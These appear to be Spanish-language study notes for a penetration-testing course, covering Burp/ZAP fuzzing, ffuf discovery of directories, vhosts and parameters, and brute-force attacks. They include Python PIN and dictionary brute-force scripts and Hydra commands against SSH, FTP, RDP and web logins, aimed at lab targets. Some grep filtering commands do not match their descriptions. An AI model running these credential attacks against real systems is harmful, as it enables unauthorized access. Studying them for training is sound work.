  1. Con el proxy iniciado vamos a /admin y la solicitud la pasamos al Intruder

![[Pasted image 20260706153948.png]]![[Pasted image 20260706154019.png]]

  1. Añadimos el puntero

![[Pasted image 20260706154036.png]]

  1. Configuramos el payload: elegimos la wordlist, omitimos las entradas que empiezan por . y codificamos los caracteres especiales a URL

![[Pasted image 20260706154147.png]]![[Pasted image 20260706154215.png]]![[Pasted image 20260706154339.png]]

  1. Ponemos en la configuracion que se marquen las salidas con 200 OK que esten en la cabecera

![[Pasted image 20260706154432.png]]![[Pasted image 20260706154551.png]]

  1. Vamos a la direccion donde se encuentra el sitio con 200 OK para verificar y vemos la flag. Tambien se podia ver en el apartado de Response dentro Burp

![[Pasted image 20260706154614.png]]![[Pasted image 20260706154647.png]]

CPTS

2. Zap Fuzzer

No limita su velocidad como Burp

Fuzz

  1. Visitamos la pagina web para capturar la peticion, hacemos click derecho en ella y Attack>Fuzz

![[Pasted image 20260706155838.png]]

  1. Marcamos los Fuzz locations que son los punteros de ZAP. Seleccionamos la cadena y le damos Add:

![[Pasted image 20260706155947.png]]

  1. Se habre la pestaña de payloads. Le damos a ADD para añadir nuestros payloads
  • File: permite seleccionar una wordlist
  • File Fuzzers: permite seleccionar una wordlist de la base de datos de palabras incorporadas
  • Numberzz: genera secuencias de numeros con incrementos personalizados

Podemos descargar mas wordlist incorporadas desde Market Place

  • Seleccionamos Type>File Fuzzers>dirbuster y le damos a Add

![[Pasted image 20260706160317.png]]

  1. Procesadores: podemos hacer un procesamiento en cada palabra de la wordlist como:
  • Base64 Decode/Encode
  • MD5 Hash
  • Postfix String
  • Prefix String
  • SHA-1/256/512 Hash
  • URL Decode/Encode
  • Script

O podemos añadir una cadena de Prefix o Postfix String a las palabras de la wordlist. Tambien tenemos la opcion de script para incorporar un script personalizado que hayamos creado y se ejecute en cada payload

Seleccionaremos URLEncoded como procesador para que codifique los payloads y puedes hacer click en el boton Generate Preview para previsualizar como quedaria:

![[Pasted image 20260706162137.png]]

Le damos a Add

  1. Opciones: podemos establecer algunas opciones para los fuzzers como en Burp. Por ejemplo los threads de escaneo: ![[Pasted image 20260706162251.png]]
  • Depth first: intentara los payloads en una posicion antes de pasar a la siguiente
  • Breadth first: intentara un payload en todas las posiciones y luego pasara al siguiente payload
  1. Iniciamos dandole a Start Fuzzer y luego podemos filtrar por los resultados ya que solo buscamos el de 200 OK

![[Pasted image 20260706162524.png]]

Encontramos el directory /skills/

![[Pasted image 20260706162548.png]]

Ejercicio practico

  1. Visitamos la pagina web en el directorio /skills con el proxy encendido para interceptar la peticion y mandarla a Intruder

![[Pasted image 20260706163205.png]]![[Pasted image 20260706163351.png]]

  1. Como vimos en la respuesta hay un Set-Cookie (la cookie es un MD5 con el username) por lo que para probar varias entradas de Cookie tenemos que poner en la solicitud la Cookie con “Cookie: cookie=MD5”

![[Pasted image 20260706163517.png]] ![[Pasted image 20260706164140.png]]

  1. Configuramos el payload poniendo una wordlist de usuarios que procesaremos como MD5

![[Pasted image 20260706163615.png]]![[Pasted image 20260706163600.png]]![[Pasted image 20260706163746.png]]![[Pasted image 20260706163803.png]]![[Pasted image 20260706163827.png]]

  1. Al iniciar el ataque vemos que todos dan resultado 200 OK pero hay uno con una mayor longitud del resto. En la respuesta vemos la flag

![[Pasted image 20260706164203.png]]

CPTS

1. Burp Scanner

Usa un Crawler para construir la estructura del sitio web y un escaner pasivo y otro activo

Solo version pro por lo que no lo explico

CPTS

2. Zap Scanner

Parecido al de Burp usa un Spider para construir la estructura de un sitio web y realizar escaneos pasivos y activos

Spider

Inicia un Spider del sitio web

  1. Iniciar desde la solicitud HTTP que queramos en el History>click derecho>Attack>Spider o usando el HUD en el navegador preconfigurado y le damos a Spider Start

![[Pasted image 20260706193551.png]]

Puede decirnos que el sitio web no esta dentro del scope pero si le damos a YES se añadira automaticamente. El scope es el conjunto de URLs que ZAP probara al iniciar el escaneo

  1. Hacemos click en Start en la pestaña emergente y el spider comenzara a rastrear el sitio web buscando enlaces y validandolos. Veremos el progreso tanto en el boton del HUD como en la UI de ZAP en la pestaña de ZAP. Cuando termine podemos dar al primer boton del panel derecho “Sites Tree” que mostrara un arbol expansible con la lista de directorios y subdirectorios

![[Pasted image 20260706194020.png]]

Hay otra opcion que es “Ajax Spider” que se inicia con el tercer boton del panel derecho. La diferencia es que Ajax tambien intenta identificar enlaces solicitados a traves de solicitudes AJAX dw JS Son solicitudes HTTP que JavaScript realiza en segundo plano para comunicarse con el servidor sin recargar la página completa

Escaneo pasivo

Con el ZAP Spider se ejecuta automaticamente un escaneo pasivo en cada respuesta para identificar problemas potenciales del codigo fuente como cabeceras de seguridad faltantes o vulnerabilidades XSS basado en DOM

Por ello el boton de alertas comienza a llenarse aunque no hayamos tocado nada (panel izquierdo = problemas de la pagina actual que estamos visitando y en el panel derecho = alertas de la aplicacion web general)

![[Pasted image 20260706194720.png]]

Podemos revisarlas tambien desde la UI de ZAP en la pestaña Alerts donde se veran todos los problemas:

![[Pasted image 20260706194804.png]]

Escaner activo

Una vez que el arbol este poblado podemos hacer click en Active Scan en el panel derecho para iniciarlo (si aun no se ha hecho el Spider Scan lo hara automaticamente). Podemos ver el progreso de forma similar al Spider Scan

![[Pasted image 20260706195013.png]]

Probara varios tipos de ataques contra las paginas y parametros HTTP indicando para identificar tantas vulnerabilidades como pueda. Es por eso que el escaner activo tardare en completarse y a medida que se completa, los botones de alertas empezaran a llenarse

Podemos revisar la UI de ZAP para mas detalles sobre el escaneo en ejecucion donde podemos ver varias solicitudes enviadas por ZAP:

![[Pasted image 20260706195214.png]]

Una vez finalice podemos ver las alertas:

![[Pasted image 20260706195246.png]]

Podemos hacer click en ella para obtener mas detalles:

![[Pasted image 20260706195308.png]]

En la ventana de detalles de la alerta, si clicamos en la URL podremos ver la solicitud y respuesta que uso ZAP para identificar la vuln y poder replicarla:

![[Pasted image 20260706195421.png]]

Generacion de informes

Report>Generate HTML Report en formatos XML o Markdown y podemos habrirlo en el navegador

![[Pasted image 20260706195544.png]]

CPTS

1. Skill Assessment

  • En la pagina /lucky.php hay un boton deshabilitado. Trata de habilitarlo para hacer click en el y conseguir la flag
  1. Visitamos la pagina y habilitamos foxy proxy y el proxy burp para intercepcion e intercepcion de respuestas

![[Pasted image 20260707095322.png]]![[Pasted image 20260707095330.png]]![[Pasted image 20260707095400.png]]

  1. Si recargamos la pagina, en la respuesta vemos que en el HTML hay un boton con disabled por lo que creamos una regla para que las palabras disabled las cambie por nada

![[Pasted image 20260707095534.png]]![[Pasted image 20260707095632.png]]![[Pasted image 20260707095647.png]]

  1. Si volvemos a recargar la pagina vemos que disabled ya no aparece por lo que podemos mandar todo (forward) y podemos darle al boton hasta que nos devuelva la flag como respuesta

![[Pasted image 20260707095716.png]]![[Pasted image 20260707095731.png]]![[Pasted image 20260707095811.png]]

  • La pagina /admin.php tiene una cookie que esta endodeada multiples veces. Trata de decodificara la cookie hasta que tengas un valor de 31 caracteres
  1. Visitamos la pagina y ponemos valores de prueba y enviamos el form para ver la solicitud en el proxy

![[Pasted image 20260707100206.png]]![[Pasted image 20260707100220.png]]

  1. Dentro de la solicitud vemos la cookie, si la llevamos al decoder y la decodificamos en ASCII y luego en BASE64 obtenemos la flag

![[Pasted image 20260707100232.png]]![[Pasted image 20260707100331.png]]

  • Parece un MD5, trata de fuzzear un ultimo caracter mas del MD5 con caracteres alfanumericos mientras codificas el resultado con los metodos que hemos encontrado. Podemos usar la wordlist de alphanum-case.txt de la seclist
  1. La solicitud HTTP la mandamos a intruder ![[Pasted image 20260707124149.png]]

  2. Ponemos la cookie dentro del puntero y añadimos la wordlist y los procesadores (uno con el hash completo md5 como prefijo, un codificados a base64 y un codificador a ASCII hex)

![[Pasted image 20260707125940.png]]![[Pasted image 20260707124254.png]] ![[Pasted image 20260707125933.png]]

  1. Al realizar el ataque vemos que el que tiene mas respuesta tiene la flag

![[Pasted image 20260707130413.png]]

  • Usando el modulo de MSF “auxiliary/scanner/http/coldfusion_locale_traversal” ves que no funciona bien por lo que decides capturar la solicitud y verificar manualmente y repetirlo. Capturando la solicitud, que directorio llamado /XXXX/administrator/,,, se llama?
  1. Usamos el modulo y lo configuramos para que pase por el proxy Burp y con este interceptando las solicitudes HTTP vemos la solicitud que hace

![[Pasted image 20260707131108.png]]

CPTS

1. Introduccion

ffuf: es una herramienta para fuzzing web:

  • Fuzzing de directorios
  • Fuzzing de archivos y extensiones
  • Identificación de hosts virtuales (vhosts) ocultos
  • Fuzzing de parámetros PHP
  • Fuzzing de valores de parámetros

CPTS

1. Fuzzing WEB

Instalacion

Repositorio de GitHub

o

apt install fuff -y

Directorios

  1. Tenemos un sitio web como objetivo, no tiene enlaces ni da informacion de mas paginas

![[Pasted image 20260707131907.png]]

  1. Hacemos fuzzing para encontrar directorios que nos devuelvan un 200 OK usando wordlists de SecLists
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

-ic: en fuff quita las lineas de comentarios que vienen con las wordlists -t N: numero de threads (si es muy alto puede generar DoS)

ffuf -w /RUTA/WORDLIST:FUZZ -u http:IP:PORT/FUZZ -ic -t 200

![[Pasted image 20260707132435.png]]

Ejemplo practico

  1. Hacemos Fuzzing de directorios al sitio web y encontramos dos directorios

![[Pasted image 20260707133010.png]]

CPTS

2. Fuzzing De Paginas

En el ejemplo anterior tuvimos acceso a /blog pero estaba vacia. Usaremos fuzzing de paginas para encontrar paginas ocultas con extensiones tipicas de web (.html, .aspx, .php…)

Una forma de hacerlo es mirando la cabecera, sabiendo que se trata de un Apache podemos buscar .php, si fuese un IIS buscariamos .asp o .aspx…

/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
  1. Haremos el fuzz sobre el archivo index que es el que siempre esta en la mayoria de casos
fuff -w /RUTA/WORDLIST_EXTENSIONES -u http://IP:PORT/blog/indexFUZZ

Si no existe podemos usar dos wordlist (1 para el nombre /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt y otra para las extensiones /usr/share/seclists/Discovery/Web-Content/web-extensions.txt)

fuff -w /RUTA/WORDLIST_NOMBRES:FUZZ1 /RUTA/WORDLIST_EXTENSIONES:FUZZ2 -u http://IP:PORT/FUZZ1.FUZZ2 -ic -t 200

![[Pasted image 20260707134509.png]]

  1. Como vemos usando index obtuvimos un par de resultados .php por lo que ahora podemos hacer FUZZ de NOMBRE.php
fuff -w /use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://IP:PORT/FUZZ.php

o podemos por -e php en vez de .php para especificar la extension

![[Pasted image 20260707134640.png]]

  1. Obtenemos resultados sin size 0 por lo que no estan vacios

![[Pasted image 20260707134716.png]]

Ejercicio practico

  1. Buscamos extensiones en /blog y encontramos que son .php

![[Pasted image 20260707135122.png]]

  1. Buscamos paginas .php y encontramos /home donde estaba la flag

![[Pasted image 20260707135104.png]]![[Pasted image 20260707135055.png]]

CPTS

3. Fuzzing Recursivo

De forma predeterminada cuando se encuentra un directorio si esta habilitada el fuzz de forma recursiva, se realizara el fuzz en ese directorio encontrado muchos directorios pueden tener muchos subdirecotorios y puede hacerse lento (/login/user/content/uploads/…etc)

Para que no se haga lento podemos especificar la profundidad

  1. Especificamos en el fuzz que se haga de forma recursiva y la profundidad
/use/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
fuff -w /RUTA/WORDLIST_DIRECTORIOS:FUZZ -u http://IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php 

![[Pasted image 20260707140201.png]]

Ejercicio practico

  1. Realizamos el fuzzing recursivo desde la raiz y vemos como va encontrando directorios y añadiendo threads

![[Pasted image 20260707141017.png]]![[Pasted image 20260707141053.png]]

CPTS

1. Registros DNS

Accediendo a /blog vimos un mensaje de que Admin panel moved to academy.htb

Si visitamos academy.htb vemos que pone cant connect to the server:

![[Pasted image 20260707152620.png]]

Esto se debe a que el lab es interno y primero busca en /etc/hosts y luego en DNS publicos, sino lo encuentra no puede acceder a el. Si pasamos la IP si que sabe como acceder y lo encuentra

Para acceder lo tenemos que meter en nuestro /etc/hosts:

sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts'

Ahora ya podemos acceder añadiendo el PORT a la maquina

![[Pasted image 20260707153334.png]]

Como vemos es lo mismo que antes por lo que probablemente sea un CCNAME del mismo dominio y si hacemos fuzzing de directorios no encontraremos nada de admin. Haremos fuzzing de subdominios

CPTS

2. Fuzzing De Subdominios

Subdominios

Un subdominio es un sitio web que subyace de otro sitio web como google.com –> photos.google.com

/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  1. Realizamos el fuzz de subdominios
ffuf -w /RUTA/WORDLIST_DOMAINS:FUZZ -i http://FUZZ.DOMAIN -ic -t 200

![[Pasted image 20260707154504.png]]

Si lo hacemos con academy.htb veremos que no sale nada y eso NO SIGNIFICA QUE NO EXISTA sino que los subdominios no son publicos y si no estan en el /etc/hosts, tampoco los va a encontrar en DNSs publicos

Ejemplo practico

  1. Hacemos el fuzzing de subdominios para el dominio inlanefreight.com

CPTS

3. Fuzzing De Vhosts

La diferencia de un Vhost con un subdominio es basicamente que el Vhost es un subdominio servido desde el mismo servidor que el primer dominio por lo que comparte misma IP y a diferencia del subdominio si no es publico podremos encontrarlo gracias a que tendremos la IP del primer dominio en /etc/hosts

/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  1. Realizamos fuzzing de vhosts:
fuff -w /RUTA/WORDLIST_DOMINIOS:FUZZ -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200

![[Pasted image 20260707155627.png]]

CPTS

4. Filtrando Resultados

Parámetro Explicación Ejemplo
-mc Mostrar códigos HTTP -mc 200,301
-ml Mostrar por líneas -ml 20
-mr Mostrar por regex -mr "admin"
-ms Mostrar por tamaño -ms 1024
-mw Mostrar por palabras -mw 150
-fc Ocultar códigos HTTP -fc 404
-fl Ocultar por líneas -fl 20
-fr Ocultar por regex -fr "Not Found"
-fs Ocultar por tamaño -fs 1024
-fw Ocultar por palabras -fw 150
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  1. Realizamos un fuzzing y filtramos por el tamaño de la pagina
ffuf -w /RUTA/WORDLIST_DOMAIN -u http://DOMAIN:PORT/ -H 'Host: FUZZ.DOMAIN' -ic -t 200 -fs 900

![[Pasted image 20260707161042.png]]

  1. Verificamos que nos podemos conectar:

![[Pasted image 20260707161243.png]]

Ejemplo practico

  1. Metemos el dominio y la IP en /etc/hosts para que podamos acceder a el

![[Pasted image 20260707161235.png]]

  1. Realizamos un fuzzing de vhosts y vimos que todas las salidas nos daban el mismo resultado por lo que filtramos por tamaño de la salida y encontramos dos vhosts

![[Pasted image 20260707161731.png]]![[Pasted image 20260707161741.png]]![[Pasted image 20260707161820.png]]

CPTS

1. Get

Si hacemos un escaneo recursivo de admin.academy.htb encontraremos: http://admin.academy.htb:PORT/admin/admin.php

Si intentamos acceder a la pagina veremos:

![[Pasted image 20260707164529.png]]

Esto significa que debe haber algun parametro que permita leer la flag ya que no hemos iniciado sesion ni vemos ninguna cookie en la peticion que sea verificable en el backend

Para hacer fuzzing de parametro y encontrar parametros GET:

/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
ffuf -w /RUTA/WORDLIST_PARAMETROS -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs N

![[Pasted image 20260707164839.png]]

Encontramos un hit y si intentamos acceder usando el parametro podremos ver la flag:

![[Pasted image 20260707164918.png]]

Ejemplo practico

  1. Hacemos fuzzing recursivo de directorios del subdomonio admin.academy.htb y obtenemos /admin/admin.php

![[Pasted image 20260707165134.png]]

  1. Accedemos a el y vemos que no podemos leer la flag

![[Pasted image 20260707165236.png]]

  1. Si interceptamos la solicitud no vemos cookies ni codigo JS que nos deshabilite la vision por lo que es probable que se trate de un parametro GET

![[Pasted image 20260707165346.png]]

  1. Realizamos un fuzz de parametros en el sitio web y como nos daba los mismos resultados realizamos un filtrado por tamaño y obtuvimos el parametro

![[Pasted image 20260707165609.png]]![[Pasted image 20260707165650.png]]

  1. Accedimos al web con el paremetro y el pusimos =admin:

![[Pasted image 20260707165733.png]]

CPTS

2. Post

La principal diferencia entre los parametros GET y POST es que los POST no se pasan por URL y no se pueden poner tras un ?

Los POST se pasan dentro de la data de la solicitud HTTP

Para hacer fuzzing en el campo data:

ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx

-X POST: para indicar que es un metodo POST -d ‘FUZZ=key’: para realizar el fuzzing de parametros en la data de la solicitud HTTP -H ‘Content Type: application/x-www-form-urlencoded’: esto es necesario especificarlo porque es el Content Type que tienen las solicitudes POST

![[Pasted image 20260707170246.png]]

Obtuvimos dos parametros:

  • user
  • id

Vamos a probar a enviar un solicitud HTTP con el parametro id:

curl http://admin.academy.htb/admin/admin.php -X POST -d 'id=key' -H 'Content-Type application/x-www-form-urlencoded'

![[Pasted image 20260707170503.png]]

CPTS

3. Fuzzing De Valores

Wordlist personalizada

Creamos una wordlist personalizada dependiendo del parametro que hayamos obtenido. Para el de id necesitaremos numeros:

for i in $(seq 1 1000); do echo $i >> ids.txt; done

![[Pasted image 20260707170805.png]]

Ahora lo usamos:

  • GET
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?id=FUZZ -fs X
  • POST
ffuf -w ./ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs XXX

![[Pasted image 20260707171028.png]]

Ejemplo practico

  1. Hacemos el fuzzing del valor del parametro por POST y vemos que dan todos el mismo resultado por lo que filtramos por tamaño

![[Pasted image 20260707171551.png]]

Obtenemos el valor 73:

![[Pasted image 20260707171619.png]]

  1. Visitamos el sitio web con ese valor para el parametro y obtenemos la flag:

![[Pasted image 20260707171814.png]]

CPTS

1. Skill Assessment

Se pide que localices todas las paginas y dominios vinculados a la IP (VHOSTs) y los dominios

Finalmente tendremos que ver si alguna de las paginas tiene parametros para interactuar

  • Busca vhosts del dominio academy.htb
  1. Metemos la IP y dominio en /etc/hosts

![[Pasted image 20260707203737.png]]

  1. Realizamos el fuzing de vhosts y vemos que nos da los mismos resultados asi que filtramos por tamaño

![[Pasted image 20260707203809.png]]![[Pasted image 20260707203832.png]]

  • Encontrar las extensiones permitidas
  1. Metemos los subdominios en /etc/hosts

![[Pasted image 20260707204157.png]]

  1. Realizamos un fuzing de extensiones y encontramos 3 en todos los subdominios y dominio

![[Pasted image 20260707204533.png]]![[Pasted image 20260707204606.png]]

  • En uno de los subdominios habra una pagina que pondra no have access. Primero lo haremos por faculty ya que es la que tenia 3 extensiones y me ha llamado la atencion.
  1. Hacemos un fuzing recursivo de archivos .php, phps y .php7 y vimos que nos daba la misma respuesta por lo que filtramos por tamaño. Luego encontramos un directorio al que no tenemos acceso

![[Pasted image 20260707205145.png]]![[Pasted image 20260707205304.png]]

  1. Accedemos a el

![[Pasted image 20260707205401.png]]

  • Esta pagina tiene parametros, encuentralos
  1. Hacemos fuzing de parametros GET

![[Pasted image 20260707205651.png]]![[Pasted image 20260707205704.png]]

Vemos uno que es user

  1. Usamos para poner user=admin como parametro GET pero el metodo no esta mas en uso

![[Pasted image 20260707205741.png]]

  1. Hacemos un fuzzing de parametros POST

![[Pasted image 20260707205930.png]]

Vemos otro que es username que podemos usar

  • Fuzzea el valor del parametro
  1. Fuzzeamos el valor del parametro con la wordlist de /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt y encontramos un username

![[Pasted image 20260707210523.png]]

  1. Accedemos a la pagina web con ese parametro

![[Pasted image 20260707210644.png]]

CPTS

1. Introduccion

Ataque de fuerza bruta es un metodo de ensayo y error que se usa para descifrar constraseñas probando todas las combinaciones posibles

El exito depende de:

  • Complejidad
  • Poder computacional
  • Medidas de seguridad

![[Pasted image 20260708132609.png]]

Tipos de ataque de fuerza bruta

  • Simple brute force: prueba sistematica de todas las combinaciones posibles dentro de un conjunto de caracteres en un rango de longitud
  • Dictionary Attack: usa una lista precompilada de palabras, frases y contraseñas comunes
  • Hybrid Attack: combina elementos de ataques de fuerza bruta y diccionario añadiendo caracteres
  • Credential Stuffing: aprovecha credenciales filtradas de un servicio para acceder a otros (reutilizacion)
  • Password Spraying: se intenta un pequeño numero de contraseñas sobre un gran numero de usernames
  • Rainbow table attack: se usan tablas precalculadas de hashes de contraseñas para revertir hahes y recuperar las contraseñas en texto plano
  • Reverse brute force: dirige una unica contraseña contra multiples nombres de usuario
  • Distributed Brute Force: distribuye la carga de trabajo de fuerza bruta en varios ordenadores

Fundamentos de la seguridad de contraseñas

Importancia de las contraseñas seguras

  1. Anatomia de una contraseña segura:

    • Longitud: cuanto mas larga mejor. Minimo 12 caracteres
    • Complejidad: uso de minusculas, mayusculas, numeros, caracteres especiales…
    • Unicidad: no reutilizacion de credenciales
    • Aleatoriedad: evitar usar palabras de diccionario, info personal o frases comunes
  2. Debilidades comunes:

    • Contraseñas cortas
    • Palabras y frases comunes
    • Informacion personal
    • Reutilizacion de contraseñas
    • Patrones predecibles
  3. Politicas de contraseñas

    • Longitud minima
    • Complejidad
    • Caducidad de las contraseñas
    • Historial de contraseñas

Peligros de credenciales predeterminadas

/usr/share/seclists/Usernames/top-usernames-shortlist.txt

![[Pasted image 20260708133538.png]]![[Pasted image 20260708133550.png]]

CPTS

1. Ataques De Fuerza Bruta

Las matematicas detras de un ataque de fuerza bruta son:

Numero de combinaciones = NumCaracteres^Longitud

![[Pasted image 20260708133805.png]]![[Pasted image 20260708133816.png]]

Ejemplo descifrando un PIN de 4 digitos

  1. Preparamos un script en Python
import requests

ip = "IP"
port = PUERTO


for pin in range(10000): #1000 porque va de 0000 - 9999
	formatted_pin = f"{pin:04d}" #esto convierte cualquier numero en formato 4 cifras
	print(f"Intento PIN: {formatted_pin}")
	response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
	
	if response.ok and 'flag' in response.json():
		print(f"PIN Correcto: found {formatted_pin}")
		print(f"Flag: {response.json()['flag']}")
		break
  1. Usamos el script contra la pagina web para encontrar el PIN correcto por parametro GET

![[Pasted image 20260708134710.png]]

Ejercicio practico

  1. Creamos el script de python y lo ejecutamos para obtener la flag

![[Pasted image 20260708140142.png]]![[Pasted image 20260708140719.png]]

CPTS

2. Ataques De Diccionario

El ataque de fuerza bruta simple puede consumir muchos recursos

En el ataque de diccionario se usan wordlists precompilada de palabras y frases reduciendo el espacio de busqueda

Tipos de wordlists:

  • Publicly Available Lists
  • Custom-Built Lists
  • Specialized Lists
  • Preexisting Lists

![[Pasted image 20260708154145.png]]

Ejemplo con script de python

import requests 

ip="IP"
port=PORT
passwords="requests.get("https://...").text.splitlines()" 

for password in passwords:
	print(f"Password Intentada: {password}")
	respuesta = requests.post(f"http://{ip}:{port}/dictionary", data={'password':password})
	
	if respuesta.ok and 'flag' in respuesta.json():
		print(f"Respuesta Correcta Encontrada: {password}")
		print(f"Flag: {respuesta.json()['flag']}")
		break

Otra opcion para en vez de leer el archivo online sino abrir una wordlist local:

with open("/RUTA/WORDLIST") as f:
	passwords = f.read().splitlines()

Ejecutamos

python3 ataque_diccionario.py

Ejemplo practico

![[Pasted image 20260708160317.png]]![[Pasted image 20260708160328.png]]

CPTS

3. Ataques Hibridos

La politica que hace que se cambien contraseñas seguidamente, hace que se creen patrones entre unas contraseñas y otras

![[Pasted image 20260708160705.png]]

Imaginemos un ataque hacia una empresa en la que sabemos que les hacen cambios de contraseñas periodicamente:

![[Pasted image 20260708160806.png]]

El atacante comienda con un ataque de diccionario usando una wordlist, pero esta no tiene exito por lo que se pasa a un ataque hibrido. En lugar de probar contraseñas al azar, modificamos las de la wordlist de forma estrategica

El poder de los ataques hibridos

Escenario: tenemos una wordlists de palabras y contraseñas comunes que se usan en el sector de la empresa que estamos auditando y la politica de contraseñas es:

  • Longitud de 8
  • Debe incluir
    • Una mayuscula
    • Una minuscula
    • Un numero

Usaremos las wordlist:

/usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-10000.txt

Empezamos a modificar la lista para que coincida con las politicas:

  1. Omitimos las contraseñas con mas de 8 caracteres
grep -E '^.{8,}' darkweb2017_top-10000.txt > darkweb2017-minlength.txt
  1. Omitimos las contraseñas sin minusculas
grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
  1. Omitimos las contraseñas sin mayusculas
grep -E '[A-Z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt
  1. Omitimos las contraseñas sin numeros
grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt
  1. Podemos contar las entradas con las que se ha quedado el archivo
wc -l darkweb2017-number.txt

Reutilizacion de credenciales

Muchos usuarios reutilizan sus credenciales en varios sitios

CPTS

1. Hydra

Es un cracker de inicio de sesion red que soporta multiples protocolos y servicios

  • Veloz
  • Flexible
  • Facil de usar

Instalacion

sudo apt install hydra -y

Uso basico

hydra -l USER/-L WORDLIST -p PASS/-P WORDLIST protocolo://IP:PORT
  • Parametros
Parámetro Explicación
-l USER Especifica un único usuario.
-L FILE Carga lista de usuarios.
-p PASS Especifica una única contraseña.
-P FILE Carga lista de contraseñas.
-C FILE Archivo usuario:contraseña por línea.
-x MIN:MAX:CHARSET Genera contraseñas automáticamente.
-e nsr Prueba nulas, usuario e invertida.
-t TASKS Número de hilos simultáneos.
-T TASKS Máximo de conexiones objetivo.
-f Detiene tras primer éxito.
-F Detiene todos los objetivos.
-s PORT Utiliza puerto personalizado.
-S Fuerza conexión mediante SSL/TLS.
-v Muestra información detallada.
-V Muestra cada intento realizado.
-d Activa salida de depuración.
-o FILE Guarda resultados en archivo.
-b FORMAT Formato del archivo resultados.
-R Reanuda sesión interrumpida previamente.
-I Ignora archivo de restauración.
-u Prueba usuarios en paralelo.
-w TIME Tiempo espera entre conexiones.
-W TIME Espera entre reconexiones objetivo.
-4 Fuerza uso de IPv4.
-6 Fuerza uso de IPv6.
-M FILE Lista de múltiples objetivos.
-m OPT Opciones específicas del módulo.
-U Muestra ayuda del módulo.
service://target Define servicio y objetivo.
  • Servicios
Servicio Descripción
ftp Transferencia de archivos FTP.
ssh Acceso remoto seguro SSH.
http-get Autenticación web mediante GET.
http-post-form Autenticación web mediante POST.
https-get Autenticación HTTPS mediante GET.
https-post-form Autenticación HTTPS mediante POST.
smtp Envío de correo electrónico SMTP.
pop3 Recepción de correo POP3.
imap Acceso remoto a correo IMAP.
mysql Base de datos MySQL.
mssql Base de datos Microsoft SQL Server.
postgres Base de datos PostgreSQL.
oracle Base de datos Oracle.
redis Base de datos Redis.
mongodb Base de datos MongoDB.
vnc Acceso remoto mediante VNC.
rdp Escritorio remoto de Windows.
smb Compartición de archivos Windows.
ldap Servicio de directorio LDAP.
snmp Gestión y monitorización de red.
telnet Acceso remoto sin cifrado.
smtp-enum Enumeración de usuarios SMTP.
cisco Autenticación en dispositivos Cisco.
cisco-enable Contraseña del modo privilegiado Cisco.
svn Repositorios Apache Subversion.
teamspeak Servidor de voz TeamSpeak.
sip Protocolo de telefonía VoIP.
pcanywhere Acceso remoto pcAnywhere.
rexec Ejecución remota de comandos.
rlogin Inicio de sesión remoto Unix.
rsh Shell remoto Unix.

Fuerza bruta en HTTP

  • GET
hydra -L WORDLIST -P WORDLIST www.domain.com http-get /login
  • POST
hydra -l USER -P WORDLIST www.domain.com http-post-form "/login:user=^USER^&pass^PASS^:S=302"

302 es el codigo de sesion exitosa

Fuerza bruta en ssh

hydra -l USER -p PASS -M LISTA_IPS ssh

Fuerza bruta FTP

hydra -L WORDLIST -P WORDLIST -s 2121 ftp.domain.com ftp

Fuerza bruta RDP Avanzada

hydra -l USER -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 IP rdp

Prueba contraseñas de 6 - 8 caracteres usando los caracteres pasados

CPTS

2. Autenticacion HTTP Basica

La autenticacion HTTP basica (Basic HTTP Authorization) se suele usar aunque es rudimentario para asegurar recursos web

Es un protocolo de desafio-respueta en el que el servidor exige las credenciales del usaurio antes de dar acceso a los recursos protegidos:

  • Usuario intenta acceder a pagina restringida
  • El servidor responde con un 401 Unauthorized y una cabecera WWW-Authenticate que solicita al navegador del usuario las credenciales
  • La cedana pasada por el usuario se unifica en USER:PASS, se codifica en BASE64 y se incluye en la cabecera Authentication de las peticiones posteriores con formato Basic BASE64_Creds
  • El servidor decodifica las credenciales y las verifica en su base de datos y concede o deniega la entrada

![[Pasted image 20260708173824.png]]

hydra -l basic-auth-user -P /WORDLIST_PASS 127.0.0.1 http-get / -s PUERTO

![[Pasted image 20260708174045.png]]

-l USER: especificamos el usuario -P /WORDLIST: especificamos la wordlist de passwords 127.0.0.1: IP destino http-get /: objetivo -s PUERTO: especificamos el puerto

Ejemplo practico

![[Pasted image 20260708174901.png]] ![[Pasted image 20260708174845.png]]![[Pasted image 20260708174925.png]]

CPTS

3. Formularios De Inicio De Sesion

Aunque visualmente son diversos, suelen tener las mismas mecanicas subyacentes:

![[Pasted image 20260708175325.png]]

Este es un ejemplo. Cuando se envia se realiza una solicitud POST al /login en el que se incluye el nombre de usuario y contraseña como datos:

![[Pasted image 20260708175413.png]]

En este tipo de formularios, el navegador captura las credenciales ingresadas (normalmente usando JS) para su validacion del lado del cliente o saneamiento de entrada. Luego lo envia en un HTTP POST donde se encapsulan los datos del formulario incluyendo nombre de usuario y contraseña dentro de su cuerpo y codificados como application/x-www-form-urlencoded o multipart/form-data

